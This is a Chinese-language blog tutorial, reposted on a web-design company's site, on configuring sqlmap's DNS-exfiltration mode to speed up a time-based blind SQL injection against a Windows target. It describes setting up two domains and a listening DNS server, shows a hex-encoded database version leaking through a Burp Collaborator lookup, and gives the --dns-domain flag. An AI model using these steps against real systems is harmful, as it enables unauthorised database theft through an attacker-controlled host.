sqlmap_dns注入配置方法是什么

这篇文章给大家介绍sqlmap _DNS注入配置方法是什么,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

成都创新互联公司-专业网站定制、快速模板网站建设、高性价比顺昌网站开发、企业建站全套包干低至880元,成熟完善的模板库,直接使用。一站式顺昌网站制作公司更省心,省钱,快速模板网站建设找我们,业务覆盖顺昌地区。费用合理售后完善,十多年实体公司更值得信赖。

网上针对sqlmap进行dns注入的相关文章太少,只是简单介绍了下--dns-domain参数,相关的实战文章要么就写的模糊或者一笔带过,搞的云里雾里(主要是菜,关键还没大佬带)。然后自己参考网上的方法自己重新搞了一遍。

需要准备的东西,sqlmap、windows盲注一个、两个域名、一台外网服务器

sqlmap _dns注入配置方法是什么

某次搞事情的时候碰到一个时间盲注,碰巧是台windows的,想起dns注入的方法。

sqlmap _dns注入配置方法是什么

在开始前我准备先用sqlmap的--sql-shell 命令进行dns注入payload的测试

sqlmap _dns注入配置方法是什么

先到burpsuite中的collaborator client中复制出burp给我们安排的域名

在利用sqlmap执行sql语句

sqlmap _dns注入配置方法是什么

Sqlmap还在跑的过程中burpsuite中已经接收到请求了。

sqlmap _dns注入配置方法是什么

352E362E3134.9hreqpopru1xgf9skq473yo14sajy8.burpcollaborator.net.

中的352E362E3134就是执行version()后返回的结果。

sqlmap _dns注入配置方法是什么

解码获取到MySQL的版本。好了至此这个点进行dns注入是没毛病的。

准备配置域名2个,网上有些文章说一个也行,但是总感觉较为麻烦,很多域名服务器商也并未提供某些高级功能,所以还是准备两个的简单些。

www.a.com  

www.b.com

首先我们来配置域名a-> a.com

sqlmap _dns注入配置方法是什么

只需要添加*进行泛解析指向我们的外网服务器的ip就可以了。

在来配置我们的域名b->b.com

sqlmap _dns注入配置方法是什么

这个就更简单了,直接修改域名的dns,就填入ns1.a.com ns2.a.com 就行了其他的都不用搞,照着填写就行了。

然后等待域名生效。我们在到外网服务器上来测试下看是否解析成功

sqlmap _dns注入配置方法是什么

服务器上开始监听53端口

sqlmap _dns注入配置方法是什么

然后本机ping hello.b.com 在外网服务器上发我们已经能接受到hello.b.com的请求,并且本机提示是找不到主机不用管,因为我们没有设置解析。已经都配置完毕我们使用sqlmap进行dns注入即可。

sqlmap _dns注入配置方法是什么

Sqlmap中加入参数--dns-domain=b.com --hex即可

sqlmap _dns注入配置方法是什么

来到这一步sqlmap会卡住提示设置DNS服务器实例

直接ctrl+c

sqlmap _dns注入配置方法是什么

提示通过DNS通道的数据检索成功。

注入的速度就跟报错和联合一样快了,再也不用忍受龟速了。

关于sqlmap _dns注入配置方法是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。


新闻标题:sqlmap_dns注入配置方法是什么
文章位置:http://bzwzjz.com/article/iepeeh.html

其他资讯

Copyright © 2007-2020 广东宝晨空调科技有限公司 All Rights Reserved 粤ICP备2022107769号
友情链接: 企业网站建设 成都网站制作 高端网站设计推广 成都网站制作 公司网站建设 定制网站设计 成都网站制作 网站制作 成都网站建设 宜宾网站设计 成都做网站建设公司 营销型网站建设 成都网站建设 品牌网站建设 移动网站建设 成都网站建设 成都网站制作 网站制作报价 成都网站制作 成都网站制作 成都响应式网站建设 重庆手机网站建设